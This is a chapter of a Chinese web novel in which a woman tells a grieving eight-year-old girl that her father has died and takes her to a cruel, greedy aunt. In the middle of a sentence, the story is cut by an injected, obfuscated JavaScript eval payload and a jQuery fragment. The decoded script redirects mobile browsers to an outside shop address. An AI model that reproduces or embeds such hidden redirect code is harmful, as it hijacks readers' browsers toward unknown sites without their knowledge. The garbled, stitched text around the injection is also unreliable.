越往白塔外围走,周遭城市设施愈发破败陈旧。
许晗停在一栋老式居民楼前,外墙墙体被岁月侵蚀成了斑驳的黄色,单元门洞黑沉沉的,两盏落满厚灰的红灯笼悬在门口,风一吹,木架便吱呀作响,潮湿发霉的浊气扑面而来。
许晗走进单元门内,一名小女孩依偎着老婆婆坐在门边的矮木凳上。
许晗认出这是李远的女儿,她曾在李远的电脑桌面上,看到过他们一家三口的合照。
她刚想出声打招呼,小女孩看见许晗,就跟看到鬼一样。噌的一下站了起来,一双漂亮的眼睛瞪得大大的,转身慌慌张张就往楼上跑,拖鞋在地上发出啪嗒啪嗒声。
许晗想要上前拦住她,厚重木门“砰”地一声重重合上,她抬起的手僵在原地。
老婆婆抬起头看着他们,浑浊的眼睛在两个人脸上慢慢转了一圈,目光最终落在许晗手里的纸袋上。
她长长叹了口气,声音哽咽:“是李远的队友吧,他平时出外勤任务,都是托我照看岁岁。”
老婆婆撑着膝盖费力站起身,视线落在陆烬年身上,又望向那个纸袋,语气满是怅然:“岁岁认得这个袋子,她妈妈生前给她买过同款。小李攒了两个月薪水,说好昨天回来,买糖给孩子当生日礼物。我估摸着……他怕是跟着岁岁妈妈一道去了。”
许晗低下头,回避老婆婆的眼睛,视线定定地看向地面,似乎不敢面对某些事实。
“哎,这都是命,是我们普通人的命。”老婆婆杵着拐杖,颤巍巍地爬上楼:“岁岁这孩子,往后只能去姑妈那了。”
许晗低低地嗯了一声。
老婆婆摸出一把钥匙:“她那个姑姑……唉,见钱眼开的主儿,自己的日子也过得紧巴巴的,假如不把小李的抚恤金给她,她怕是连门都不会让岁岁进。可是不给她,哎,岁岁......”
老婆婆眼底藏着化不开的落寞,她的丈夫和一双儿女早已离世,半生孤苦,说是跟岁岁一家相依为命,也不为过。不过很快,就连岁岁也要离开自己。
钥匙插进锁孔,转动两圈,门开了。
屋内的家具寥寥无几,一张旧木方桌摆在当中,漆面多处剥落,露出底下的原木底色,四周围着几把磨损严重的椅子,可屋子却收拾得干净整齐,一家三口的合照摆在不远处的柜子上。
许晗目光扫过墙角的那个旧鞋架,上面空了一格,鞋架旁边的挂钥匙的挂钩上也空空荡荡的,许晗知道那缺的空是再也不会补上了。
老婆婆站在门口,回头轻轻拍了拍许晗的手背:“您好好劝劝她吧,岁岁是个好孩子,她会想通的。”
许晗看着屋内的摆设,心底生出害怕,害怕走进去,害怕面对那个孩子,害怕自己等下说什么都是错的。
许晗的手指不自觉攥紧陆烬年的掌心。
陆烬年低头看了许晗一眼,拉着许晗跨进了那道门,他全然不理解许晗为什么突然害怕起来:“被赶出圣所的时候,也没见你有这么害怕。”
许晗:......
大哥这能一样吗?现在也不是说这个的时候。
“你要不先出去等等?”许晗再次无奈地看着陆烬年。
“不行”陆烬年回答得斩钉截铁。
她深吸一口气,走到房间里,辨认岁岁的呼吸声,伸手轻轻拉开了柜门。
岁岁蜷缩在一堆属于父亲的旧衣物中央,脸色苍白得像一张薄纸,一双眼睛湿漉漉的,小小的双手拘谨地抱着膝盖,空洞无神的目光直直望向许晗,轻声发问:“我爸爸,是不是已经死了?”
在来的路上,许晗在心里一遍遍组织措辞,避开“牺牲”、“战死”这类对孩子来说太过残忍的说辞,反复斟酌委婉的说法,害怕一句话刺痛年幼的孩子。
面对岁岁直接的询问,许晗根本就不知道怎么回答,她想起来自己买了巧克力,慌忙伸手摸索纸袋,巧克力的包装纸显得格外亮眼。
“岁岁,你爸爸特意托姐姐带巧克力回来,今天是你的生日......”
“所以爸爸是不是不在了?”岁岁再次追问。
望着女孩空洞死寂的眼神,许晗终究选择如实相告,声音放得极软:“是的,岁岁,你爸爸是个英雄,他保护了整个5号后勤小队。”
得到确凿答复以后,岁岁的眼泪再也抑制不住,大颗大颗地划了下来,她将脸埋进膝头,单薄的肩膀不停颤抖,哭声像一只无家可归的小兽。
许晗再次手足无措,不知道该怎么安慰一个失去父母的小女孩,她本能想找人参考一下意见。
转头就看见,陆烬年静静地靠在墙边,目光平静,没有任何情绪波动
一丝困惑涌上许晗心头:陆烬年好像对生死完全不在意?
“等她哭完,冷静下来就好了,”察觉到她探究的目光,陆烬年淡淡开口,语气从容淡漠:“活下来就继续往前走,若是就此落幕,也没什么值得惋惜的。”
陆烬年不明白,许晗为什么总是这样容易心软。一个失去父母哭泣的小女孩而已,白塔每天都有无数失去亲人的人在哭。许晗难道要挨个心疼过来吗?
他自己也是从死人堆里爬出来的,也从来没有人这么怜惜自己。
这种被人怜惜的感觉是怎么样的呢?
许晗没应声,只在心里默默吐槽:谢谢,您可真看得开。
她想,陆烬年是真的不懂。
他不会懂一个在幼年失去父母的孩子,是怎样在漫长的黑夜里独自舔舐伤口,是怎样抱着膝盖躲在角落,哭到呼吸不畅。
岁岁此刻的模样,像极了当年一夜失去父母、向导天赋的自己。
但至少,不要让岁岁像当初的自己一样。
许晗探身进去,张开手臂,把那个发抖的小身体整个搂进了怀里。
岁岁像是找到了出口一般,所有的压抑全部溃堤,细瘦的手臂紧紧缠上许晗的脖子,她把脸埋在许晗的肩窝里,哭得浑身都在抖。
许晗抱紧岁岁,就好像在抱着那个记忆里缩在角落里哭泣的自己,那个很久很久以前,没有人来抱一抱的自己。
等岁岁的抽噎渐渐平缓,许晗从口袋里摸出一个东西,举到岁岁面前。
那是一枚戒指,银色的指环已经磨得有些发暗,上面刻着两个并排的名字,笔画歪歪扭扭的,像是自己刻上去的。
“岁岁,这是你爸爸托付我转交你的。他让我告诉你,爸爸妈妈永远爱你,让岁岁好好活下去。”
岁岁的抽噎声已经停住,目光呆滞地看着手里的戒指,鼻头红红的。
许晗的掌心一下又一下地轻轻拍着岁岁的后背。
半晌,岁岁吸了吸红红的小鼻子,小声恳求:“姐姐,我不想去姑妈家,我想跟婆婆一起生活,可以吗?”
许晗手一顿,为岁岁压平轻微起翘的领子:“岁岁乖,你不去你姑妈家,你就得去孤儿院了。”
许晗该怎么跟眼前的孩子开口解
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838282|211549||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
释,老婆婆是没办法领养她的。
白塔规定,只有向哨或普通人的直系亲属才可以领养孩子,而那些没有人领养的普通孩子,会被强制带去孤儿院。
在孤儿院里,无法觉醒出向哨天赋的孩子,会被划分到最底层,没有自由、没有选择权,最终只会被强制配对、强制生育。
毕竟在这个社会里,普通人最大的价值,就是生育出有向哨天赋的孩子。
岁岁的眼眶一下子又红了,却死死咬住下唇,不肯再掉一滴眼泪。
在知道失去爸爸的那一刻,岁岁知道自己再也不是一个可以向父母撒娇的小孩子了。
沉默中,陆烬年开了口:“可以让她姑妈走正规领养手续,成为名义监护人,岁岁依旧留在这边,跟着老婆婆生活。”
只变更一纸监护归属,既能避开孤儿院的命运,也能保住孩子眼下熟悉的生活环境。
许晗沉默着,她也知道这样子可行,但是她看着岁岁的身形单薄瘦小,尚且八岁的年纪,根本不懂命运施加在普通人身上的枷锁。
而身侧的老婆婆年事已高,脊背微微佝偻,走路时步履虚浮,早已是需要旁人照拂的年纪,根本无力长久护住一个孩子。
至少,岁岁的姑妈是一个有劳动能力的成年人,远比一个耄耋老人和一个八岁孩童彼此勉强支撑着往前走,要稳妥得多。
许晗牵着岁岁的手,陆烬年跟在旁边,三人按着光脑上的导航打车来到了岁岁的姑姑家。
开门的是一个身形臃肿、小腹高高隆起的孕妇,那妇人扫过来的目光像冰冷的秤砣,她先飞快掂量了一遍许晗与陆烬年的衣着,随后眼神落在岁岁身上,满是嫌弃。
她身后的屋子狭小杂乱,三个衣衫脏乱的孩童正挤在一处,疯抢着一架皱巴巴的纸飞机。
推搡、叫嚷声充斥着整间屋子,嘈杂得让人耳膜发疼。
妇人满脸烦躁,被吵闹声搅得耐心全无,眉头死死拧成一团,压根没有半分哄劝的心思,转头对着身后几个孩子厉声呵斥:“吵什么吵!一天到晚就知道吵!再吵都给我滚出去!”
身后的吵闹声弱了几分,她这才重新转回视线,凶巴巴地看着缩在许晗后面的岁岁:“你来这干嘛,你爸呢?”
许晗护着岁岁:“她爸爸牺牲了。”
“牺牲了......”那妇人表情凝滞,眼底掠过一丝悲伤,但马上那点微弱的感情就消散了,取而代之的是赤裸裸的算计与贪婪。
她侧身将三人让进屋,自己一屁股坐在露出棉絮的破坐垫椅子上。
许晗刚坐下,妇人便抬着下巴指使岁岁:“杵着不动干什么?去给我倒杯水。”
岁岁身子一颤,顺从地上前倒水。
妇人只抿了一口就喷在地上,厉声斥责:“这么烫,你想烫死我啊!”
说着便扬手要去拧岁岁的耳朵,许晗连忙上前制止了她的行为。
仅凭这个举动,许晗便看得明白。岁岁的姑妈根本不会好好待岁岁。把孩子留在这里,只会沦为全家免费佣人,打骂更是家常便饭。
妇人眼珠滴溜溜一转,贪婪地盯着许晗:“那她爸爸的抚恤金呢?还有她妈妈那份,全都交给我。”
“不给钱,我可不会收养这个拖油瓶。你要是不肯给,我直接把她送孤儿院,让她和那些没天赋的废物一样,随便找人配对过日子!”
妇人的眼神直白又贪婪,死死黏着许晗,像是在盯着一块唾手可得的肥肉。